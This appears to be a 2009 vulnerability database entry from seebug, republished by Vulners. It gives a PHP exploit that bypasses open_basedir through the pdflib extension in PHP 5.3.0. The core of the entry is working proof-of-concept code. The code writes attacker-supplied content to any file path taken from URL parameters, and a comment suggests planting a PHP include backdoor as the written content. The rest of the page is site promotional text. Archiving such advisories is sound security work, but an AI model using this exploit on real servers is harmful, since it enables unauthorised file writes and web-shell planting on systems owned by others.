Lucene search
K

Php 5.3.0 pdflib extension open_basedir bypass

🗓️ 07 Nov 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

vulnerability in PHP 5.3.0 pdflib extension open_basedir bypas

Code

                                                Description:
------------
Via this bug , attacker can save a file in path that not allowed in
open_basedir .

Reproduce code:
---------------
<?php
// Author : Sina Yazdanmehr (R3d.W0rm) ; Our Site : http://IrCrash.com
if(!extension_loaded('pdf')){
   die('pdf extension required .');   
}else{
    $__PATH = $_GET['p']; /*The path that u want save file in .ex:
/etc/file.php*/
    $__VALUE = $_GET['v']; /*The text that u want save in file .ex:
<?php include $_GET[f];?>*/
    if(!isset($__PATH,$__VALUE)){
       
die('/expl.php?p=[path_u_want_save_file]/[file_name]&v=[value_u_want_sav
e_in_file]');
    }
    $__IRCRASH = pdf_new();
    pdf_open_file($__IRCRASH,$__PATH);
    pdf_begin_page($__IRCRASH,612,792);
   
pdf_add_note($__IRCRASH,100,650,200,750,$__VALUE,'R3d.W0rm','note',0);
    pdf_end_page($__IRCRASH);
    pdf_close($__IRCRASH);
    pdf_delete($__IRCRASH);
    print('<p>IrCrash Security Team .</p>');
    print('<p>' . $__PATH . "\n"  . 'created .</p>');}
?>

Expected result:
----------------
When attacker run this code , a file in a path that attacker input in
`p` in url , whith value that attacker input in `v` in url.

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Nov 2009 00:00Current
7.1High risk
Vulners AI Score7.1
14